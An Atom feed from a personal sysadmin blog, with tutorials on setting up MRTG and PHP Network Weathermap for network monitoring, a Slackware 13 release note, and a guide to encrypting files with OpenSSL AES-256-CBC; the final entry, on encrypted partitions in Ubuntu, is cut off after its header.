<?xml version="1.0" encoding="utf-8" ?>

<feed xmlns="http://www.w3.org/2005/Atom" >
<title type="text">Lars Strand</title>
<subtitle type="text">Web feed from blog.larsstrand.org</subtitle>
<link rel="self" href="http://blog.larsstrand.org/backend/gnist1.xml"/>
<link rel="alternate" type="text/html" href="http://blog.larsstrand.org/"/>
<id>http://blog.larsstrand.org/</id>
<updated>2010-01-06T18:46:54+01:00</updated>
<author>
<name>Lars Strand</name>
<email>webmaster@gnist.org</email>
</author>

<entry>
<title type="html">Network Weathermap</title>
<link rel="alternate" type="text/html" href="http://blog.larsstrand.org/article.php?story=network-weathermap"/>
<id>tag:blog.larsstrand.org,2010-01-06:/article.php?story=network-weathermap</id>
<published>2010-01-06T18:45:00+01:00</published>
<updated>2010-01-06T18:45:00+01:00</updated>
<author>
<name>lars</name>
</author>
<content type="html">&lt;p&gt;In &lt;a href=&quot;http://blog.larsstrand.org/article.php?story=network-monitor-with-MRTG&quot;&gt;my last post&lt;/a&gt; I used MRTG to monitor the network equipment. MRTG works great with SNMP, but it only present a graph per network port of the switch/router. So, unless you are the network guy, these graphs do not make much sense.

&lt;p&gt;It would be nice to plug in the data from MRTG into a Network Weathermap of some sort. After searching around and trying different weathermaps, the choice fell on &lt;a href=&quot;http://www.network-weathermap.com/&quot;&gt;&quot;PHP Network Weathermap&quot;&lt;/a&gt;. It is actively developed, has good documentation and works great for small/medium-sized networks (the map is hand crafted).
&lt;p&gt;The weathermap can use sources from &lt;a href=&quot;http://oss.oetiker.ch/rrdtool/index.en.html&quot;&gt;RRDtool&lt;/a&gt; which is the backend used by software like &lt;a href=&quot;http://munin-monitoring.org/&quot;&gt;Munin&lt;/a&gt;, Cacti and MRTG (if enabled) or from the &quot;original&quot; MRTG (comments on the html-pages generated by MRTG). I'll be using the latter datasource - but I'll be sure to try this weathermap with Munin 1.4 another time.

&lt;p&gt;The configuration for each &quot;map&quot; you create is a text-file. This text file can be created using a (simple) editor or manually hand-crafted. Once you know the (simple) syntax and have an overview of the network, a map is easy to create.

&lt;p&gt;Let's go:

&lt;p&gt;&lt;strong&gt;1. First you need MRTG up and running&lt;/strong&gt;
&lt;p&gt;Read how to do it &lt;a href=&quot;http://blog.larsstrand.org/article.php?story=network-monitor-with-MRTG&quot;&gt;here&lt;/a&gt;.

&lt;p&gt;&lt;strong&gt;2. Download and install&lt;/strong&gt;
&lt;ol&gt;
&lt;li&gt;Download the latest from here: &lt;a href=&quot;http://www.network-weathermap.com/download&quot;&gt;http://www.network-weathermap.com/download&lt;/a&gt;
&lt;li&gt;Unpack under &lt;code&gt;/var/www/html/weathermap&lt;/code&gt;
&lt;li&gt;Read &lt;a href=&quot;http://www.network-weathermap.com/manual/latest/pages/main.html#installation&quot;&gt;the manual&lt;/a&gt; if you need additional assistance.
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;3. Create a new map&lt;/strong&gt;
 
&lt;p&gt;The weathermap comes with a (rudimentary) map editor, but I found it much easier to edit the configuration file myself while I consult the &lt;a href=&quot;http://www.network-weathermap.com/manual/latest/pages/config-reference.html&quot;&gt;reference manual&lt;/a&gt; 

&lt;p&gt;The config file for each map consist of three main parts:

&lt;ul&gt;
&lt;li&gt;&lt;em&gt;(1) Global section &lt;/em&gt;
&lt;li&gt;&lt;em&gt;(2) Node section&lt;/em&gt; and
&lt;li&gt;&lt;em&gt;(3) Link section (between the nodes)&lt;/em&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;em&gt;3.1 Create a global section&lt;/em&gt;

&lt;p&gt;In the global section we define the size of the map, title, and so forth. I also define some additional fonts and template for NODE and LINKS. 
&lt;p&gt;
&lt;pre&gt;
#&lt;br&gt; 
# PHP Weathermap config&lt;br&gt;
#&lt;br&gt;
# Map: Company Name Core Network&lt;br&gt;
#&lt;br&gt;
#&lt;br&gt;
&lt;br&gt;
# The size of the map and title&lt;br&gt;
WIDTH 1100&lt;br&gt;
HEIGHT 740&lt;br&gt;
HTMLSTYLE overlib&lt;br&gt;
&lt;br&gt;
TITLE Company Name - Core Network Weathermap&lt;br&gt;
TITLEPOS 10 20&lt;br&gt;
TITLEFONT 14&lt;br&gt;
&lt;br&gt;
# The output of the map&lt;br&gt;
HTMLOUTPUTFILE company-core-network.html&lt;br&gt;
IMAGEOUTPUTFILE company-core-network.png&lt;br&gt;
&lt;br&gt;
# Information about of the newest and oldest data used from MRTG (freshness of the data)&lt;br&gt;
TIMEPOS 10 690 Created: %d %b %Y %H:%M:%S&lt;br&gt;
MAXTIMEPOS 10 710 Newest data: %d %b %Y %H:%M:%S&lt;br&gt;
MINTIMEPOS 10 730 Oldest data: %d %b %Y %H:%M:%S&lt;br&gt;
&lt;br&gt;
# We define some additional fonts&lt;br&gt;
FONTDEFINE  8 /var/www/html/weathermap/docs/example/Vera.ttf 8&lt;br&gt;
FONTDEFINE  9 /var/www/html/weathermap/docs/example/VeraBd.ttf 8&lt;br&gt;
FONTDEFINE 10 /var/www/html/weathermap/docs/example/VeraBd.ttf 10&lt;br&gt;
FONTDEFINE 12 /var/www/html/weathermap/docs/example/Vera.ttf 12&lt;br&gt;
FONTDEFINE 14 /var/www/html/weathermap/docs/example/VeraBd.ttf 14&lt;br&gt;
&lt;br&gt;
# Here we define the legend&lt;br&gt;
KEYPOS DEFAULT 300 670 Traffic Load&lt;br&gt;
KEYTEXTCOLOR 0 0 0&lt;br&gt;
KEYOUTLINECOLOR 0 0 0&lt;br&gt;
KEYBGCOLOR 255 255 255&lt;br&gt;
KEYFONT 8&lt;br&gt;
KEYSTYLE horizontal&lt;br&gt;
&lt;br&gt;
BGCOLOR 255 255 255&lt;br&gt;
TITLECOLOR 0 0 0&lt;br&gt;
TIMECOLOR 0 0 0&lt;br&gt;
SCALE DEFAULT 0 0   192 192 192&lt;br&gt;
SCALE DEFAULT 0 1   255 255 255&lt;br&gt;
SCALE DEFAULT 1 10   140 0 255&lt;br&gt;
SCALE DEFAULT 10 25   32 32 255&lt;br&gt;
SCALE DEFAULT 25 40   0 192 255&lt;br&gt;
SCALE DEFAULT 40 55   0 240 0&lt;br&gt;
SCALE DEFAULT 55 70   240 240 0&lt;br&gt;
SCALE DEFAULT 70 85   255 192 0&lt;br&gt;
SCALE DEFAULT 85 100   255 0 0&lt;br&gt;
&lt;br&gt;
SET key_hidezero_DEFAULT 1&lt;br&gt;
&lt;br&gt;
&lt;br&gt;
# TEMPLATE-only NODEs:&lt;br&gt;
NODE DEFAULT&lt;br&gt;
        MAXVALUE 100&lt;br&gt;
        LABELFONT 9&lt;br&gt;
        LABELOUTLINECOLOR none&lt;br&gt;
&lt;br&gt;
# TEMPLATE-only LINKs:&lt;br&gt;
LINK DEFAULT&lt;br&gt;
        BANDWIDTH 1G&lt;br&gt;
        #Use &quot;BWLABEL percent&quot; if you want link utilization in percent&lt;br&gt;
        BWLABEL bits&lt;br&gt;
        WIDTH 3&lt;br&gt;
        BWSTYLE angled&lt;br&gt;
        BWFONT 8&lt;br&gt;
        # NOTE! The next three lines should be on *one* line&lt;br&gt;
        NOTES Current bandwidth utilization (in bits):&amp;lt;br&amp;gt;&lt;br&gt;
           IN {link:this:bandwidth_in:%0.2k} of {link:this:max_bandwidth_in:%0.2k} ({link:this:inpercent:%0.2f}%) &amp;lt;br&amp;gt;&lt;br&gt;
          OUT {link:this:bandwidth_out:%0.2k} of {link:this:max_bandwidth_out:%0.2k} ({link:this:outpercent:%0.2f}%)&lt;br&gt;
        # MRTG graph specific sizes&lt;br&gt;
        OVERLIBWIDTH 500&lt;br&gt;
        OVERLIBHEIGHT 135&lt;br&gt;
        # Arrow comments&lt;br&gt;
        COMMENTFONT 8&lt;br&gt;
        COMMENTSTYLE edge&lt;br&gt;
        COMMENTPOS 50 50&lt;br&gt;
&lt;br&gt;
# End of global section&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;
&lt;p&gt;&lt;em&gt;3.2 Next, we define some nodes (switches, routers, servers, ..)&lt;/em&gt;
&lt;p&gt;We're plotting both the placement, label, icon and - if any - a &quot;info-link&quot; on each node. The &quot;info-link&quot; is:
&lt;ul&gt;
&lt;li&gt;a link to the MRTG page of the network switch/router, or if its a server,
&lt;li&gt;a link to the munin page for that sever.
&lt;/ul&gt;
&lt;p&gt;
&lt;pre&gt;
# regular NODEs:&lt;br&gt;
NODE Internet&lt;br&gt;
        LABEL Internet&lt;br&gt;
        LABELFONT 12&lt;br&gt;
        ICON images/Cisco-network.png&lt;br&gt;
        POSITION 400 100&lt;br&gt;
        NOTES Internet connection - ISP-name&lt;br&gt;
        LABELOUTLINECOLOR none&lt;br&gt;
        LABELBGCOLOR 255 233 170&lt;br&gt;
&lt;br&gt;
NODE 10.1.1.1.&lt;br&gt;
        LABEL 10.1.1.1 [1]&lt;br&gt;
        LABELOFFSET S&lt;br&gt;
        INFOURL http://mrtg/10.1.1.1.html&lt;br&gt;
        ICON images/Cisco-Catalyst-access-gw.png&lt;br&gt;
        POSITION 400 400&lt;br&gt;
        NOTES Cisco 6500 [1] - Core Switch&lt;br&gt;
&lt;br&gt;
# Additional nodes goes here..&lt;br&gt;
...&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;
&lt;p&gt;&lt;em&gt;3.3 Once all the nodes are defined, we add links between them.&lt;/em&gt;
&lt;p&gt;Each link fetches its network utilization from MRTG. So we only need to point each link to the corresponding link in MRTG.
&lt;p&gt;
&lt;pre&gt;
# Internet&lt;br&gt;
LINK 10.1.1.1-Internet&lt;br&gt;
        NODES 10.1.1.1 Internet&lt;br&gt;
        OVERLIBGRAPH mrtg/10.1.1.1/10.1.1.1_241-day.png&lt;br&gt; # This gives a nice &quot;mouse-over&quot; graph
        INFOURL http://mrtg/10.1.1.1/10.1.1.1_241.html&lt;br&gt; # .. or add the Munin page 
        TARGET /var/www/html/mrtg/10.1.1.1/10.1.1.1_241.html&lt;br&gt;
        BANDWIDTH 10G&lt;br&gt;
&lt;br&gt;
# Additional links go here..&lt;br&gt;
...&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;
&lt;p&gt;&lt;strong&gt;4. We run weathermap to generate the map&lt;/strong&gt;
&lt;p&gt;
&lt;pre&gt;
&amp;#36; &lt;strong&gt;cd /var/www/html/weathermap&lt;/strong&gt;&lt;br&gt;
&amp;#36; &lt;strong&gt;/weathermap --config configs/company-core-network.conf&lt;/strong&gt;
&lt;/pre&gt;
&lt;p&gt;
&lt;p&gt;You can now point your web browser to the newly created html-file (defined in the global section).

&lt;p&gt;&lt;strong&gt;5. The last thing we'll do it to up a cron-job so that the map is updated every five minutes&lt;/strong&gt;
&lt;p&gt;We let it run one minute after MRTG, so that we get most fresh data:
&lt;p&gt;
&lt;pre&gt;
1-59/5 * * * * weather /var/www/html/weathermap/weathercron.sh
&lt;/pre&gt;
&lt;p&gt;
&lt;p&gt;This script just execute the same commands as in 4).

&lt;p&gt;&lt;strong&gt;6. Hints and some nice features&lt;/strong&gt;
&lt;ol&gt;
&lt;li&gt;If you do a mouse-over on each link, you'll get the day graph from MRTG in a popup.
&lt;li&gt;If you click on a node, you get either the MRTG page or Munin page for that node.
&lt;li&gt;You get a timestamp for both the oldest and newest data used on the map
&lt;li&gt;If you want additional icons, you can get them from &lt;a href=&quot;http://projects.gnome.org/dia/&quot;&gt;Dia&lt;/a&gt;. Dia has a lot of really nice network (Cisco) icons and can export to a large number of formats.
&lt;/ol&gt;
&lt;p&gt;Examples:
&lt;p&gt;&lt;img width=&quot;800&quot; height=&quot;540&quot; src=&quot;http://blog.larsstrand.org/images/articles/network-weathermap_1_original.png&quot; alt=&quot;&quot;&gt;
&lt;p&gt;&lt;img width=&quot;800&quot; height=&quot;562&quot; src=&quot;http://blog.larsstrand.org/images/articles/network-weathermap_2_original.png&quot; alt=&quot;&quot;&gt;
&lt;p&gt;</content>
</entry>
<entry>
<title type="html">Network monitoring with MRTG</title>
<link rel="alternate" type="text/html" href="http://blog.larsstrand.org/article.php?story=network-monitor-with-MRTG"/>
<id>tag:blog.larsstrand.org,2009-11-26:/article.php?story=network-monitor-with-MRTG</id>
<published>2009-11-26T08:07:00+01:00</published>
<updated>2009-11-26T08:07:00+01:00</updated>
<author>
<name>lars</name>
</author>
<content type="html">&lt;p&gt;If you work with any kind of networks, the chances are you've heard of, or even used, &lt;a href=&quot;http://oss.oetiker.ch/mrtg/index.en.html&quot;&gt;MRTG&lt;/a&gt;. There are not active development of MRTG today, but bugfix patches are still being added now and then.

&lt;p&gt;So why are we still using it? MRTG just works. It stable and robust. And it does what it is supposed to do and nothing else. This makes MRTG still king of monitoring network equipment over SNMP. Well, that is, until &lt;a href=&quot;http://munin-monitoring.org/&quot;&gt;Munin 1.4&lt;/a&gt; is released in a couple of days. Munin 1.4 have greatly added SNMP support and aiming at MRTG.
&lt;p&gt;So until Munin 1.4 is released and stabilizes, I'll use MRTG in production. I've added some minor wrappers around MRTG so that adding and removing nodes gets dead easy. This way, other people can add/remove equipments without knowing too much about MRTG.

&lt;p&gt;Every Linux distribution out there have MRTG in their repository. If yours don't, change distribution or compile MRTG yourself.

&lt;p&gt;&lt;strong&gt;1. First of all, we add all our network equipment in a text file:&lt;/strong&gt;
&lt;p&gt;
&lt;pre&gt;
&amp;#36; &lt;strong&gt;cat /etc/mrtg/network.cfg&lt;/strong&gt;&lt;br&gt;
#&lt;br&gt;
# SNMP capable swtiches goes here&lt;br&gt;
#&lt;br&gt;
# After adding hosts here, run&lt;br&gt;
#&lt;br&gt;
#   /etc/mrtg/mrtgmaker.sh&lt;br&gt;
#   /etc/mrtg/indexer.sh&lt;br&gt;
#&lt;br&gt;
# Format (community is optional) and override default&lt;br&gt;
#&lt;br&gt;
# [community]@IP description&lt;br&gt;
#&lt;br&gt;
# Example:&lt;br&gt;
# 192.168.1.1 Core Network Router 1 (Location A)&lt;br&gt;
# secret@10.0.0.1 Core Network Router 2 (Location B)&lt;br&gt;
10.1.1.1 Cisco 6500 08/09 Core Network Router 1&lt;br&gt;
192.168.1.1 Cisco 4948 09/09 &lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;
&lt;p&gt;&lt;strong&gt;2. I create a small script that reads the network equipment from the text-file and generate mrtg.cfg:&lt;/strong&gt;
&lt;p&gt;
&lt;pre&gt;
&amp;#36; &lt;strong&gt;cat /etc/mrtg/mrtgmaker.sh&lt;/strong&gt;&lt;br&gt;
#!/bin/bash&lt;br&gt;
#&lt;br&gt;
# This should be run every time you add a SNMP capable &lt;br&gt;
# switch under /etc/mrtg/network.cfg&lt;br&gt;
#&lt;br&gt;
&lt;br&gt;
[ -r /etc/mrtg/network.cfg ] || exit 1&lt;br&gt;
&lt;br&gt;
ALL=&quot;&quot;&lt;br&gt;
&lt;br&gt;
while read switch&lt;br&gt;
do&lt;br&gt;
   if `echo &amp;#36;switch | grep -q ^#` || `echo &amp;#36;switch | grep -q &quot;^&amp;#36;&quot;`; then&lt;br&gt;
      continue&lt;br&gt;
   fi&lt;br&gt;
   HOST=`echo &amp;#36;switch | awk ' { print &amp;#36;1 }'`&lt;br&gt;
   ALL=&quot;&amp;#36;ALL &amp;#36;HOST&quot;&lt;br&gt;
&lt;br&gt;
done &amp;lt; /etc/mrtg/network.cfg&lt;br&gt;
&lt;br&gt;
echo &quot;Harvesting SNMP info from &amp;#36;ALL&quot;&lt;br&gt;
&lt;br&gt;
/usr/bin/cfgmaker --snmp-options=:::::2 --show-op-down --global 'AddHead[_]: ' --global 'Options[_]: growright, bits' &amp;#92; &lt;br&gt;
--global 'HtmlDir: /var/www/html/mrtg' --global 'ImageDir: /var/www/html/mrtg' --global 'LogDir: /var/lib/mrtg' &amp;#92; &lt;br&gt;
--global 'ThreshDir: /var/lib/mrtg' --community=SECRET --output=/etc/mrtg/mrtg.cfg --subdirs=HOSTNAME &amp;#36;ALL&lt;br&gt;
&lt;br&gt;
echo &quot;Config file: /etc/mrtg/mrtg.cfg&quot;&lt;br&gt;
echo &quot;You should now run /etc/mrtg/indexer.sh&quot;&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;
&lt;strong&gt;3. Then we need to add a script to update the HTML&lt;/strong&gt;
&lt;p&gt;
&lt;pre&gt;
&amp;#36; &lt;strong&gt;cat /etc/mrtg/indexer.sh&lt;/strong&gt;&lt;br&gt;
#!/bin/bash&lt;br&gt;
#&lt;br&gt;
# This should be run every time you add a SNMP capable&lt;br&gt;
# switch under /etc/mrtg/network.cfg&lt;br&gt;
#&lt;br&gt;
&lt;br&gt;
echo '&amp;lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.0 Transitional//EN&quot;&amp;gt;&lt;br&gt;
  &amp;lt;html&amp;gt;&lt;br&gt;
  &amp;lt;head&amp;gt;&lt;br&gt;
    &amp;lt;title&amp;gt;MRTG @ Company Name&amp;lt;/title&amp;gt;&lt;br&gt;
    &amp;lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html;charset=iso-8859-1&quot;&amp;gt;&lt;br&gt;
    &amp;lt;meta http-equiv=&quot;Refresh&quot; content=&quot;300&quot;&amp;gt;&lt;br&gt;
    &amp;lt;meta http-equiv=&quot;Cache-Control&quot; content=&quot;no-cache&quot;&amp;gt;&lt;br&gt;
    &amp;lt;meta http-equiv=&quot;Pragma&quot; content=&quot;no-cache&quot;&amp;gt;&lt;br&gt;
    &amp;lt;meta name=&quot;robots&quot; content=&quot;noarchive&quot;&amp;gt;&lt;br&gt;
    &amp;lt;link href=&quot;favicon.ico&quot; rel=&quot;shortcut icon&quot;&amp;gt;&lt;br&gt;
    &amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;mrtg.css&quot;&amp;gt;&lt;br&gt;
  &amp;lt;/head&amp;gt;&lt;br&gt;
  &amp;lt;body bgcolor=&quot;#FFFFFF&quot; text=&quot;#000000&quot;&amp;gt;&lt;br&gt;
    &amp;lt;h1&amp;gt;MRTG @ Company Name&amp;lt;/h1&amp;gt;&lt;br&gt;
     &amp;lt;img src=&quot;company_logo.png&quot; height=&quot;135&quot; width=&quot;130&quot; align=&quot;right&quot; alt=&quot;Company Name logo&quot;/&amp;gt;&lt;br&gt;
    &amp;lt;blockquote&amp;gt;&lt;br&gt;
' &amp;gt; /var/www/html/mrtg/index.html&lt;br&gt;
&lt;br&gt;
while read switch&lt;br&gt;
do&lt;br&gt;
   if `echo &amp;#36;switch | grep -q ^#` || `echo &amp;#36;switch | grep -q &quot;^&amp;#36;&quot;`; then&lt;br&gt;
      continue&lt;br&gt;
   fi&lt;br&gt;
&lt;br&gt;
  IP=&amp;#36;(echo &amp;#36;switch | cut -d&quot; &quot; -f1)&lt;br&gt;
  IP=&amp;#36;{IP#*@}&lt;br&gt;
  DESC=&amp;#36;(echo &amp;#36;switch | cut -d&quot; &quot; -f2-40)&lt;br&gt;
  DATE=&amp;#36;(date)&lt;br&gt;
  DNSNAME=&amp;#36;(dig +short -x &amp;#36;IP 2&amp;gt; /dev/null)&lt;br&gt;
&lt;br&gt;
  echo &quot;Indexing &amp;#36;IP&quot;&lt;br&gt;
  /usr/bin/indexmaker --nolegend --subtitle='&amp;lt;h2&amp;gt;&amp;lt;a href=&quot;../&quot;&amp;gt;Back home&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;' &amp;#92; &lt;br&gt;
 --pageend=&quot;&amp;lt;em&amp;gt;MRTG @ Company Name - generated on &amp;#36;HOSTNAME&amp;lt;/em&amp;gt;&quot; &amp;#92; &lt;br&gt;
 --addhead='&amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;/mrtg.css&quot;&amp;gt;' &amp;#92; &lt;br&gt;
 --output /var/www/html/mrtg/&amp;#36;IP.html  --filter name=~&amp;#36;IP &amp;#92; &lt;br&gt;
 --title=&quot;Network utilitization for &amp;#36;DNSNAME (&amp;#36;IP)&quot; /etc/mrtg/mrtg.cfg&lt;br&gt;
  &lt;br&gt;
  if [ -z &amp;#36;DNSNAME ]&lt;br&gt;
  then&lt;br&gt;
      echo &quot;&amp;lt;font size=&quot;+1&quot;&amp;gt;&amp;amp;rArr; &amp;lt;a href=&quot;&amp;#36;IP.html&quot;&amp;gt;&amp;#36;IP&amp;lt;/a&amp;gt; &amp;amp;mdash; &amp;#36;DESC&amp;lt;/font&amp;gt; &amp;lt;br&amp;gt;&quot; &amp;gt;&amp;gt; /var/www/html/mrtg/index.html&lt;br&gt;
  else&lt;br&gt;
      echo &quot;&amp;lt;font size=&quot;+1&quot;&amp;gt;&amp;amp;rArr; &amp;lt;a href=&quot;&amp;#36;IP.html&quot;&amp;gt;&amp;#36;IP&amp;lt;/a&amp;gt;, &amp;#36;DNSNAME &amp;amp;mdash; &amp;#36;DESC&amp;lt;/font&amp;gt; &amp;lt;br&amp;gt;&quot; &amp;gt;&amp;gt; /var/www/html/mrtg/index.html&lt;br&gt;
  fi&lt;br&gt;
&lt;br&gt;
done &amp;lt; /etc/mrtg/network.cfg&lt;br&gt;
&lt;br&gt;
&lt;br&gt;
echo &quot;&lt;br&gt;
    &amp;lt;/blockquote&amp;gt; &lt;br&gt;
&amp;lt;p&amp;gt;MRTG is also used as datasource for our Network Weathermap &amp;amp;mdash &amp;lt;a href=&quot;http://weathermap/&quot;&amp;gt;http://weathermap&amp;lt;/a&amp;gt;&lt;br&gt;
   &amp;lt;hr&amp;gt;&lt;br&gt;
   &amp;lt;em&amp;gt;&amp;lt;font size=&amp;#92;&quot;-1&amp;#92;&quot;&amp;gt;More info: &amp;lt;a href=&amp;#92;&quot;http://wiki/mediawiki/index.php/MRTG&amp;#92;&quot;&amp;gt;&lt;br&gt;
http://wiki/mediawiki/index.php/MRTG&amp;lt;/a&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;br&amp;gt;&amp;lt;/em&amp;gt;&lt;br&gt;
   &amp;lt;em&amp;gt;&amp;lt;font size=&amp;#92;&quot;-1&amp;#92;&quot;&amp;gt;Generated by &amp;#36;HOSTNAME:&amp;#36;0&amp;lt;/font&amp;gt;&amp;lt;/em&amp;gt;&lt;br&gt;
  &amp;lt;/body&amp;gt;&lt;br&gt;
&amp;lt;/html&amp;gt;&quot; &amp;gt;&amp;gt;  /var/www/html/mrtg/index.html&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;
&lt;p&gt;&lt;strong&gt;4. We add a stylesheet to make thing a little prettier:&lt;/strong&gt;
&lt;p&gt;
&lt;pre&gt;
&amp;#36; &lt;strong&gt;cat /var/www/html/mrtg/mrtg.css&lt;/strong&gt;&lt;br&gt;
body {&lt;br&gt;
  background-color: #EFEFEF;&lt;br&gt;
  color: #000000;&lt;br&gt;
  font-family: sans-serif;&lt;br&gt;
  font-size: 12px;&lt;br&gt;
}&lt;br&gt;
&lt;br&gt;
h1 {&lt;br&gt;
  background-color: #CCCCCC;&lt;br&gt;
  font-family: sans-serif;&lt;br&gt;
  font-size: 18px;&lt;br&gt;
  font-weight: bold;&lt;br&gt;
}&lt;br&gt;
&lt;br&gt;
h2 {&lt;br&gt;
  font-family: sans-serif;&lt;br&gt;
  font-size: 16px;&lt;br&gt;
  font-weight: bold;&lt;br&gt;
}&lt;br&gt;
&lt;br&gt;
a {&lt;br&gt;
  text-decoration: none;&lt;br&gt;
}&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;
&lt;strong&gt;5. We test:&lt;/strong&gt;
&lt;p&gt;
&lt;pre&gt;
# &lt;strong&gt;/etc/mrtg/mrtgmaker.sh&lt;/strong&gt;&lt;br&gt;
Harvesting SNMP info from 10.1.1.1 192.168.1.1&lt;br&gt;
Config file: /etc/mrtg/mrtg.cfg&lt;br&gt;
You should now run /etc/mrtg/indexer.sh&lt;br&gt;
# &lt;strong&gt;/etc/mrtg/indexer.sh&lt;/strong&gt;&lt;br&gt;
Indexing 10.1.1.1&lt;br&gt;
Indexing 192.168.1.1&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;
&lt;p&gt;We are then presented with an overview page then takes us to each switch/router:
&lt;p&gt;
&lt;img width=&quot;863&quot; height=&quot;208&quot; src=&quot;http://blog.larsstrand.org/images/articles/network-monitor-with-MRTG_1_original.png&quot; alt=&quot;&quot;&gt;</content>
</entry>
<entry>
<title type="html">Slackware 13 released!</title>
<link rel="alternate" type="text/html" href="http://blog.larsstrand.org/article.php?story=slackware-13-released"/>
<id>tag:blog.larsstrand.org,2009-08-27:/article.php?story=slackware-13-released</id>
<published>2009-08-27T22:32:00+02:00</published>
<updated>2009-08-27T22:32:00+02:00</updated>
<author>
<name>lars</name>
</author>
<content type="html">&lt;img width=&quot;163&quot; height=&quot;192&quot; align=&quot;right&quot; src=&quot;http://blog.larsstrand.org/images/articles/slackware-13-released_1_original.png&quot; alt=&quot;&quot;&gt;
&lt;p&gt;Slackware 13 was released yesterday. It's the oldest currently maintained Linux distribution out there, and with good reason. It is clean, simple and without the &quot;bells and whistles&quot; that clobbers up so many other distributions.

&lt;p&gt;Slackware was for myself (and for many of my friends and colleagues) my first encounter with Linux. I used Slackware for many years, and still do on occasions. Its a great distribution to really learn &lt;i&gt;Linux&lt;/i&gt; and not learn a &lt;i&gt;Linux distribution&lt;/i&gt;. I will say that if you really know Linux (and Slackware), you will know most Linux distributions as well.

&lt;p&gt;You would think Slackware was abandoned for other more popular distributions nowadays, but there is still a large active Slackware community and user base out there. It is in fact, one of the most downloaded Linux distributions (in both MB and number of hits) for Norway's largest ftp-site:

&lt;p&gt;&lt;a href=&quot;http://ftp.uio.no/stats/usage_200907.html#TOPURLS&quot;&gt;http://ftp.uio.no/stats/usage_200907.html#TOPURLS&lt;/a&gt;</content>
</entry>
<entry>
<title type="html">Quick and strong file-encryption with OpenSSL</title>
<link rel="alternate" type="text/html" href="http://blog.larsstrand.org/article.php?story=encrypt-files-with-openssl"/>
<id>tag:blog.larsstrand.org,2009-06-16:/article.php?story=encrypt-files-with-openssl</id>
<published>2009-06-16T17:31:00+02:00</published>
<updated>2009-06-16T17:31:00+02:00</updated>
<author>
<name>lars</name>
</author>
<content type="html">&lt;p&gt;To quickly encrypt a file with a password of your choice you can use OpenSSL. OpenSSL supports a whole range of ciphers, including government approved encryption algorithms. The encryption algorithm AES is the only accepted &lt;i&gt;open&lt;/i&gt; confidentiality algorithm here in Norway (read more &lt;a href=&quot;https://www.nsm.stat.no/Documents/Veiledninger/NCRv2%202.pdf&quot;&gt;here&lt;/a&gt;). AES is the new algorithm replacing DES. You can read all about &lt;a href=&quot;http://en.wikipedia.org/wiki/Advanced_Encryption_Standard&quot;&gt;AES&lt;/a&gt; and &lt;a href=&quot;http://en.wikipedia.org/wiki/Data_Encryption_Standard&quot;&gt;DES&lt;/a&gt; elsewhere.
&lt;p&gt;To encrypt a file using AES with a 256 bit key-length:
&lt;p&gt;
&lt;pre&gt;
&amp;#36; &lt;strong&gt;openssl enc -e -aes-256-cbc -salt -in filename.odp -out filename.odp.enc&lt;/strong&gt;&lt;br&gt;
enter aes-256-cbc encryption password:&lt;br&gt;
Verifying - enter aes-256-cbc encryption password:&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;
&lt;p&gt;The encrypted file is now found as &lt;code&gt;filename.odp.enc&lt;/code&gt;

&lt;p&gt;Since symmetric block ciphers process one block of data at the time (AES uses a block length of 128 bits), it is important that we use &lt;a href=&quot;http://en.wikipedia.org/wiki/Block_cipher_modes_of_operation#Cipher-block_chaining_.28CBC.29&quot;&gt;CBC mode&lt;/a&gt;. CBC prevents repeating plaintext to create the same (repeating) ciphertext. Use option &lt;code&gt;-p&lt;/code&gt; to have OpenSSL print out the &lt;a href=&quot;http://en.wikipedia.org/wiki/Salt_(cryptography)&quot;&gt;salt&lt;/a&gt;, &lt;a href=&quot;http://en.wikipedia.org/wiki/Key_(cryptography)&quot;&gt;key&lt;/a&gt; and &lt;a href=&quot;http://en.wikipedia.org/wiki/Initialization_vector&quot;&gt;IV&lt;/a&gt; used:
&lt;p&gt;
&lt;pre&gt;
&amp;#36; &lt;strong&gt;openssl enc -e -aes-256-cbc -salt -p -in filename.odp -out filename.odp.enc&lt;/strong&gt;&lt;br&gt;
enter aes-256-cbc encryption password:&lt;br&gt;
Verifying - enter aes-256-cbc encryption password:&lt;br&gt;
salt=92BCA2EA0EABCA62&lt;br&gt;
key=1BCE6E251E86A6379066B634FD20CD3090981B50CDF3FF5634C49DCF4A1812A5&lt;br&gt;
iv =9604DF84236BB3965083830396277636&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;
&lt;p&gt;To decrypt the file: &lt;b&gt;Note! If you type in the wrong password, you'll get garbled output since there is no way to check if the password is correct.&lt;/b&gt;
&lt;p&gt;
&lt;pre&gt;
&amp;#36; &lt;strong&gt;openssl enc -d -aes-256-cbc -in filename.odp.enc -out filename.odp&lt;/strong&gt;&lt;br&gt;
enter aes-256-cbc decryption password:&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;
&lt;p&gt;And the decrypted file is found as &lt;code&gt;filename.odp&lt;/code&gt; 
&lt;p&gt;For example: You can encrypt a file with a password of your choice. Send the file to the receiver, and then communicate to him &lt;i&gt;over another secure communication channel&lt;/i&gt; what the password is (and that you've used &quot;aes-256-cbc&quot;).</content>
</entry>
<entry>
<title type="html">Encrypted swap, tmp and home partition in Ubuntu 9.04</title>
<link rel="alternate" type="text/html" href="http://blog.larsstrand.org/article.php?story=EncryptedSwapAndHomeUbuntu"/>
<id>tag:blog.larsstrand.org,2009-05-19:/article.php?story=EncryptedSwapAndHomeUbuntu</id>
<published>2009-05-19T16:56:00+02:00</published>
<updated>2009-05-19T16:56:00+02:00</updated>
<author>
<name>lars</name>
</author>
